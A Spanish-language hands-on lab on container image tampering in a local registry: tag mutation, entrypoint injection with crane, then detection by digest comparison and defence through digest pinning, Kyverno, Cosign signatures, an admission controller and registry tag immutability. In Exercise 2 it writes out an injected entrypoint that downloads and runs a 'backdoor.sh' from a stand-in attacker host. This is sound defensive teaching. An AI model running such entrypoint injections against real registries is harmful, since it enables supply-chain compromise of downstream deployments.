Lab: Manipulación y Detección de Artifacts — Intercambio de Container Images en un Registry

Descripción general

Los tags de container images son punteros mutables. A diferencia de un hash de commit de Git, el tag v1.0.0 no está vinculado criptográficamente a una imagen específica — es simplemente una etiqueta que un registry asocia a un digest de manifiesto. Cualquier persona con acceso de push a un repositorio puede sobrescribir esa asociación en cualquier momento, reemplazando silenciosamente la imagen detrás de un tag de confianza.

Esto no es un riesgo teórico. Los ataques a la cadena de suministro explotan rutinariamente la mutabilidad de los tags para inyectar código malicioso en entornos de producción. Si los manifiestos de tu despliegue referencian myapp:v1.0.0 por tag, un atacante que comprometa las credenciales del registry puede intercambiar la imagen, y cada pull posterior obtendrá la carga maliciosa del atacante en lugar de tu build legítima.

En este laboratorio:

  1. Configurarás un registry OCI local y harás push de una container image legítima.
  2. Realizarás un ataque de mutación de tag — hacer push de una imagen completamente diferente bajo el mismo tag.
  3. Realizarás un ataque de inyección de capas — mutar sutilmente una imagen existente sin reconstruirla.
  4. Detectarás la manipulación con comparación de digests.
  5. Te defenderás contra la manipulación con digest pinning, firmas Cosign, admission controllers y configuraciones de inmutabilidad del registry.

Al finalizar, tendrás experiencia práctica con el ciclo completo de ataque y defensa para la integridad de container images.

Requisitos previos

Instala las siguientes herramientas antes de comenzar. Todos los comandos en este laboratorio están probados en Linux y macOS.

Herramienta Propósito Instalación
Docker Construir y ejecutar contenedores docs.docker.com/get-docker
crane Inspeccionar y mutar imágenes OCI sin Docker go install github.com/google/go-containerregistry/cmd/crane@latest
Cosign Firmar y verificar container images docs.sigstore.dev/cosign
kubectl + kind Clúster local de Kubernetes (para ejercicios de admission control) kind.sigs.k8s.io
jq Procesamiento de JSON apt install jq / brew install jq

Verifica tu configuración:

docker --version
crane version
cosign version
kubectl version --client
kind version
jq --version

Configuración del entorno

Iniciar un Registry local

Usamos la imagen oficial del registry de Docker. Esto nos da un registry privado y sin autenticación — perfecto para demostrar lo fácil que es la mutación de tags cuando existe acceso de push.

docker run -d -p 5000:5000 --name registry registry:2

Confirma que el registry está en ejecución:

curl -s http://localhost:5000/v2/_catalog
# Expected: {"repositories":[]}

Construir y hacer Push de una imagen legítima

Crea una aplicación mínima basada en Nginx que sirva una página simple:

mkdir -p /tmp/lab-legitimate && cd /tmp/lab-legitimate

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

Registrar el digest original

Este digest es tu fuente de verdad. Guárdalo — lo usarás a lo largo del laboratorio para detectar y prevenir manipulaciones.

ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest: $ORIGINAL_DIGEST"
# Example output: sha256:a1b2c3d4e5f6...

También guarda el manifiesto completo para comparaciones posteriores:

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/original-manifest.json

Ejercicio 1: El ataque — Mutación de tag

La mutación de tag es la forma más simple de manipulación de container images. El atacante construye una imagen completamente diferente y hace push bajo el mismo tag, sobrescribiendo la imagen legítima en el registry.

Paso 1: Construir una imagen maliciosa

Crea una imagen que se vea similar pero sirva contenido diferente — o en un ataque real, ejecute un reverse shell, exfiltre secretos o mine criptomonedas:

mkdir -p /tmp/lab-malicious && cd /tmp/lab-malicious

cat > index.html <<'EOF'


Legitimate App

Hello from the LEGITIMATE image

EOF cat > Dockerfile <<'EOF' FROM nginx:1.27-alpine COPY index.html /usr/share/nginx/html/index.html # In a real attack, additional malicious layers would be added here EOF docker build -t localhost:5000/myapp:v1.0.0 . docker push localhost:5000/myapp:v1.0.0

Nota el detalle crítico: hicimos push al exactamente el mismo taglocalhost:5000/myapp:v1.0.0.

Paso 2: Verificar que el tag fue sobrescrito

TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Original digest:  $ORIGINAL_DIGEST"
echo "Current digest:   $TAMPERED_DIGEST"

if [ "$ORIGINAL_DIGEST" != "$TAMPERED_DIGEST" ]; then
  echo "WARNING: Tag v1.0.0 has been MUTATED — the image has changed!"
fi

Salida:

Original digest:  sha256:a1b2c3d4...
Current digest:   sha256:x9y8z7w6...
WARNING: Tag v1.0.0 has been MUTATED — the image has changed!

Cualquier persona que haga pull de myapp:v1.0.0 ahora recibe la imagen del atacante. No hay advertencia, no hay notificación y no hay registro de auditoría en un registry básico. El tag simplemente apunta a un nuevo manifiesto.

Por qué esto es peligroso

Este ataque es trivial de ejecutar para cualquier persona con credenciales de push al registry — una cuenta de servicio de CI comprometida, un token filtrado en un repositorio público o un miembro del equipo descontento. El tag de la imagen se ve igual, el nombre del repositorio se ve igual, y la mayoría de los pipelines de despliegue hacen pull ciegamente de lo que apunte el tag.

Ejercicio 2: El ataque — Inyección de capas

Un intercambio completo de imagen es efectivo pero burdo. Un atacante más sofisticado puede modificar una imagen existente en el lugar, agregando o alterando capas sin reconstruir desde un Dockerfile. Esto hace que la manipulación sea más difícil de detectar mediante una inspección casual.

Paso 1: Restablecer a la imagen legítima

Primero, reconstruye y haz push de la imagen legítima para tener una línea base limpia:

cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
echo "Reset to original digest: $ORIGINAL_DIGEST"

Paso 2: Mutar la imagen con crane

El comando crane mutate modifica los metadatos y la configuración de la imagen sin requerir una reconstrucción completa. Un atacante puede cambiar el entrypoint, agregar variables de entorno o inyectar comandos:

# Change the entrypoint to run a malicious command before the original process
crane mutate localhost:5000/myapp:v1.0.0 \
  --entrypoint "/bin/sh,-c,wget -q https://evil.example.com/backdoor.sh -O /tmp/b.sh && sh /tmp/b.sh; nginx -g 'daemon off;'" \
  --tag localhost:5000/myapp:v1.0.0

Este único comando sobrescribe el tag con una imagen modificada que ejecutará una descarga maliciosa antes de iniciar Nginx — todo sin escribir un Dockerfile ni construir desde cero.

Paso 3: Comparar manifiestos

crane manifest localhost:5000/myapp:v1.0.0 | jq . > /tmp/tampered-manifest.json
diff /tmp/original-manifest.json /tmp/tampered-manifest.json

El diff mostrará que el digest de configuración ha cambiado (porque la configuración de la imagen — incluyendo el entrypoint — es diferente), pero las capas base pueden permanecer idénticas. Para un operador que inspeccione casualmente la imagen, se ve casi igual:

# Inspect the tampered image's config
crane config localhost:5000/myapp:v1.0.0 | jq '.config.Entrypoint'
# Shows the injected malicious entrypoint

# Compare with the original
docker inspect localhost:5000/myapp@$ORIGINAL_DIGEST | jq '.[0].Config.Entrypoint'
# Shows the original, clean entrypoint

Esta técnica es particularmente peligrosa en entornos donde los equipos solo verifican el tag de la imagen o el manifiesto de nivel superior sin inspeccionar la configuración completa.

Ejercicio 3: Detección — Comparación de digests

El mecanismo de detección más fundamental es la comparación de digests. Dado que cada imagen única tiene un digest SHA-256 único, cualquier cambio — por pequeño que sea — produce un hash completamente diferente.

Paso 1: Script de verificación manual

Crea un script que verifique si un tag de imagen todavía apunta al digest esperado:

cat > /tmp/verify-digest.sh <<'SCRIPT'
#!/bin/bash
set -euo pipefail

IMAGE="$1"
EXPECTED_DIGEST="$2"

CURRENT_DIGEST=$(crane digest "$IMAGE" 2>/dev/null)

if [ "$CURRENT_DIGEST" = "$EXPECTED_DIGEST" ]; then
  echo "PASS: $IMAGE matches expected digest"
  echo "  Digest: $CURRENT_DIGEST"
  exit 0
else
  echo "FAIL: $IMAGE has been TAMPERED WITH"
  echo "  Expected: $EXPECTED_DIGEST"
  echo "  Actual:   $CURRENT_DIGEST"
  exit 1
fi
SCRIPT
chmod +x /tmp/verify-digest.sh

Ejecútalo:

# This will FAIL because the image was tampered in Exercise 2
/tmp/verify-digest.sh localhost:5000/myapp:v1.0.0 "$ORIGINAL_DIGEST"
# Output: FAIL: localhost:5000/myapp:v1.0.0 has been TAMPERED WITH

Paso 2: Integración en el pipeline de CI — GitHub Actions

Integra la verificación de digests en tu pipeline de CI/CD para que las imágenes manipuladas sean detectadas antes del despliegue:

name: Verify Image Integrity

on:
  workflow_dispatch:
  push:
    branches: [main]

env:
  REGISTRY: ghcr.io
  IMAGE_NAME: ${{ github.repository }}/myapp

jobs:
  verify-image:
    runs-on: ubuntu-latest
    steps:
      - name: Install crane
        uses: imjasonh/setup-crane@v0.4

      - name: Log in to registry
        uses: docker/login-action@v3
        with:
          registry: ${{ env.REGISTRY }}
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Verify image digest
        env:
          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}
        run: |
          IMAGE="${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:v1.0.0"
          CURRENT_DIGEST=$(crane digest "$IMAGE")

          echo "Expected: $EXPECTED_DIGEST"
          echo "Actual:   $CURRENT_DIGEST"

          if [ "$CURRENT_DIGEST" != "$EXPECTED_DIGEST" ]; then
            echo "::error::Image digest mismatch — possible tampering detected!"
            exit 1
          fi

          echo "Image integrity verified."

      - name: Verify all deployment images
        run: |
          # Parse digests from a tracked manifest file
          while IFS='=' read -r image digest; do
            CURRENT=$(crane digest "$image")
            if [ "$CURRENT" != "$digest" ]; then
              echo "::error::TAMPERED: $image (expected $digest, got $CURRENT)"
              FAILED=1
            else
              echo "OK: $image"
            fi
          done < ./deploy/image-digests.txt

          [ -z "${FAILED:-}" ] || exit 1

Almacena tus digests esperados en un archivo con control de versiones (deploy/image-digests.txt) para que cualquier cambio en los digests esperados pase por revisión de código:

# deploy/image-digests.txt
ghcr.io/myorg/myapp:v1.0.0=sha256:a1b2c3d4e5f6...
ghcr.io/myorg/myapp:v2.0.0=sha256:f6e5d4c3b2a1...

Ejercicio 4: Defensa — Digest Pinning

El digest pinning es la defensa más simple y efectiva contra la mutación de tags. En lugar de referenciar una imagen por su tag mutable, la referencias por su digest inmutable.

Paso 1: Fijar la imagen en un manifiesto de Kubernetes

Reemplaza las referencias basadas en tags con referencias basadas en digests:

# VULNERABLE: uses a mutable tag
# image: localhost:5000/myapp:v1.0.0

# SECURE: pinned to an immutable digest
apiVersion: apps/v1
kind: Deployment
metadata:
  name: myapp
spec:
  replicas: 1
  selector:
    matchLabels:
      app: myapp
  template:
    metadata:
      labels:
        app: myapp
    spec:
      containers:
      - name: myapp
        image: localhost:5000/myapp@sha256:a1b2c3d4e5f6...
        ports:
        - containerPort: 80

Con digest pinning, incluso si un atacante muta el tag v1.0.0, tu despliegue seguirá haciendo pull de la imagen exacta identificada por el digest fijado. El registry resuelve las imágenes por digest independientemente de los tags.

Paso 2: Probarlo

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Tamper with the tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Pull by tag — gets the TAMPERED image
docker pull localhost:5000/myapp:v1.0.0

# Pull by digest — gets the ORIGINAL image
docker pull localhost:5000/myapp@$ORIGINAL_DIGEST

# Verify
docker run --rm localhost:5000/myapp@$ORIGINAL_DIGEST cat /usr/share/nginx/html/index.html
# Output: Hello from the LEGITIMATE image

Paso 3: Forzar el digest pinning con Kyverno

Para asegurar que ningún miembro del equipo despliegue accidentalmente una referencia basada en tags, usa una política de Kyverno que rechace cualquier especificación de pod que no use un digest:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-image-digest
  annotations:
    policies.kyverno.io/title: Require Image Digest
    policies.kyverno.io/description: >-
      Requires all container images to be referenced by digest
      rather than by tag, preventing tag-mutation attacks.
spec:
  validationFailureAction: Enforce
  background: true
  rules:
  - name: check-image-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Images must be referenced by digest (image@sha256:...), not by tag."
      pattern:
        spec:
          containers:
          - image: "*@sha256:*"
  - name: check-init-container-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    preconditions:
      all:
      - key: "{{ request.object.spec.initContainers[] || `[]` | length(@) }}"
        operator: GreaterThanOrEquals
        value: 1
    validate:
      message: "Init container images must be referenced by digest."
      pattern:
        spec:
          initContainers:
          - image: "*@sha256:*"

Aplica la política y prueba:

kubectl apply -f require-image-digest.yaml

# This will be REJECTED (uses a tag)
kubectl run test --image=localhost:5000/myapp:v1.0.0
# Error: Images must be referenced by digest (image@sha256:...), not by tag.

# This will be ADMITTED (uses a digest)
kubectl run test --image=localhost:5000/myapp@sha256:a1b2c3d4e5f6...

Ejercicio 5: Defensa — Verificación de firmas con Cosign

El digest pinning te dice qué imagen confiar, pero no demuestra quién la construyó. Las firmas de Cosign vinculan una identidad criptográfica a un digest de imagen, permitiéndote verificar la procedencia.

Paso 1: Generar un par de claves de firma

cosign generate-key-pair
# Creates cosign.key (private) and cosign.pub (public)

Paso 2: Firmar la imagen legítima

Siempre firma por digest, nunca por tag:

# Reset to clean image
cd /tmp/lab-legitimate
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0
ORIGINAL_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)

# Sign by digest
cosign sign --key cosign.key --tlog-upload=false \
  localhost:5000/myapp@${ORIGINAL_DIGEST}

# Verify the signature
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verification for localhost:5000/myapp@sha256:... --
# The following checks were performed:
# - The cosign claims were validated
# - The signatures were verified against the specified public key

Paso 3: Manipular el tag y verificar

# Push the malicious image under the same tag
cd /tmp/lab-malicious
docker build -t localhost:5000/myapp:v1.0.0 .
docker push localhost:5000/myapp:v1.0.0

# Try to verify the tag — this will FAIL
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp:v1.0.0
# Error: no matching signatures

# Verify the original digest — this still PASSES
cosign verify --key cosign.pub --insecure-ignore-tlog=true \
  localhost:5000/myapp@${ORIGINAL_DIGEST}
# Output: Verified OK

Esto demuestra la propiedad clave: las firmas de Cosign están vinculadas a digests, no a tags. Cuando un atacante muta un tag, la firma no lo sigue — permanece asociada al digest original. La verificación contra el tag falla porque el tag ahora apunta a una imagen sin firmar.

Por qué esto importa

Las firmas proporcionan una cadena de confianza del constructor al desplegador. Incluso si un atacante obtiene acceso de push a tu registry, no puede falsificar una firma válida sin tu clave privada de firma. Combinadas con el digest pinning, las firmas te dan tanto integridad (la imagen no ha sido modificada) como autenticidad (la imagen fue construida por una parte de confianza).

Ejercicio 6: Defensa — Aplicación con Admission Controller

El digest pinning y las firmas solo son efectivos si se aplican de manera consistente. Un admission controller automatiza esta aplicación a nivel de la API de Kubernetes, rechazando cualquier carga de trabajo que referencie una imagen sin firmar o no verificada.

Paso 1: Crear un clúster Kind

kind create cluster --name sigstore-lab

# Configure the cluster to access the local registry
docker network connect kind registry
kubectl cluster-info --context kind-sigstore-lab

Paso 2: Instalar el Sigstore Policy Controller

helm repo add sigstore https://sigstore.github.io/helm-charts
helm repo update

helm install policy-controller sigstore/policy-controller \
  --namespace cosign-system \
  --create-namespace \
  --set webhook.configMapName=policy-controller-config

Espera a que el controller esté listo:

kubectl -n cosign-system rollout status deploy/policy-controller-webhook

Paso 3: Crear una política de verificación

# Create a secret with the Cosign public key
kubectl create secret generic cosign-pub-key \
  --from-file=cosign.pub=cosign.pub \
  -n cosign-system

# Label the namespace to enable enforcement
kubectl label namespace default \
  policy.sigstore.dev/include=true

Crea una ClusterImagePolicy que requiera una firma válida de Cosign para todas las imágenes de tu registry:

apiVersion: policy.sigstore.dev/v1beta1
kind: ClusterImagePolicy
metadata:
  name: require-signature
spec:
  images:
  - glob: "localhost:5000/**"
  authorities:
  - key:
      secretRef:
        name: cosign-pub-key
        namespace: cosign-system
      hashAlgorithm: sha256
kubectl apply -f cluster-image-policy.yaml

Paso 4: Probar la aplicación

# Deploy with the SIGNED image (by digest) — ADMITTED
kubectl run signed-app \
  --image=localhost:5000/myapp@${ORIGINAL_DIGEST}
# pod/signed-app created

# Deploy with the TAMPERED image (unsigned) — REJECTED
TAMPERED_DIGEST=$(crane digest localhost:5000/myapp:v1.0.0)
kubectl run tampered-app \
  --image=localhost:5000/myapp@${TAMPERED_DIGEST}
# Error from server (BadRequest): admission webhook "policy.sigstore.dev" denied the request:
# validation failed: failed policy: require-signature: 
# spec.containers[0].image signature verification failed

El admission controller bloquea automáticamente cualquier imagen que no tenga una firma válida de tu clave de confianza. Esto cierra el ciclo — incluso si un atacante hace push de una imagen manipulada, no puede ejecutarse en tu clúster.

Ejercicio 7: Inmutabilidad del Registry

Los ataques en los Ejercicios 1 y 2 solo son posibles porque el registry permite la sobrescritura de tags. Muchos registries gestionados soportan inmutabilidad de tags, lo que previene cualquier push a un tag existente.

AWS ECR: Habilitar la inmutabilidad de tags

# Enable immutable tags on an existing repository
aws ecr put-image-tag-mutability \
  --repository-name myapp \
  --image-tag-mutability IMMUTABLE

# Verify the setting
aws ecr describe-repositories --repository-names myapp \
  | jq '.repositories[0].imageTagMutability'
# Output: "IMMUTABLE"

Con la inmutabilidad habilitada, cualquier intento de hacer push a un tag existente es rechazado:

docker push 123456789.dkr.ecr.us-east-1.amazonaws.com/myapp:v1.0.0
# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository
# and cannot be overwritten because the repository is immutable.

Google Artifact Registry: Habilitar la inmutabilidad de tags

gcloud artifacts repositories update myapp-repo \
  --location=us-central1 \
  --immutable-tags

Azure ACR: Habilitar el bloqueo de tags

az acr repository update \
  --name myregistry \
  --image myapp:v1.0.0 \
  --write-enabled false

Docker Hub y GHCR

Docker Hub y GitHub Container Registry actualmente no soportan inmutabilidad de tags a nivel de registry. Para estos registries, confía en las firmas de Cosign y los admission controllers como tu defensa principal.

Consideraciones

La inmutabilidad de tags previene la sobrescritura pero también previene escenarios legítimos de re-etiquetado (como promover una imagen de staging a production mediante re-etiquetado). Planifica tu estrategia de etiquetado en consecuencia — usa tags únicos (como tags basados en Git SHA) y flujos de promoción que creen nuevos tags en lugar de sobrescribir los existentes.

Limpieza

Elimina todos los recursos creados durante este laboratorio:

# Stop and remove the local registry
docker stop registry && docker rm registry

# Remove the kind cluster (if created)
kind delete cluster --name sigstore-lab

# Clean up temporary files
rm -rf /tmp/lab-legitimate /tmp/lab-malicious
rm -f /tmp/original-manifest.json /tmp/tampered-manifest.json
rm -f /tmp/verify-digest.sh
rm -f cosign.key cosign.pub

# Remove locally cached images
docker rmi localhost:5000/myapp:v1.0.0 2>/dev/null || true

Conclusiones clave

  • Los tags de container images son mutables. Cualquier persona con acceso de push puede reemplazar silenciosamente la imagen detrás de un tag. Nunca confíes en un tag como garantía del contenido de la imagen.
  • El digest pinning es tu primera línea de defensa. Referenciar imágenes por @sha256:... en lugar de :tag asegura que siempre hagas pull de la imagen exacta que deseas, independientemente de las mutaciones de tags.
  • Las firmas de Cosign demuestran la procedencia. Las firmas vinculan una identidad criptográfica a un digest específico, verificando tanto la integridad (no manipulada) como la autenticidad (construida por una parte de confianza).
  • Los admission controllers aplican políticas en el momento del despliegue. Herramientas como Kyverno y Sigstore policy-controller rechazan imágenes sin firmar o no verificadas antes de que puedan ejecutarse en tu clúster.
  • La inmutabilidad del registry previene el ataque en su origen. Habilitar tags inmutables en ECR, GCR o ACR detiene la sobrescritura de tags por completo, pero requiere una estrategia de etiquetado que evite la reutilización.
  • La defensa en profundidad es esencial. Ningún mecanismo individual es suficiente. Combina digest pinning, firma, admission control e inmutabilidad del registry para una protección robusta contra ataques a la cadena de suministro en container images.

Próximos pasos

Continúa desarrollando tus habilidades de seguridad de contenedores con estas guías relacionadas: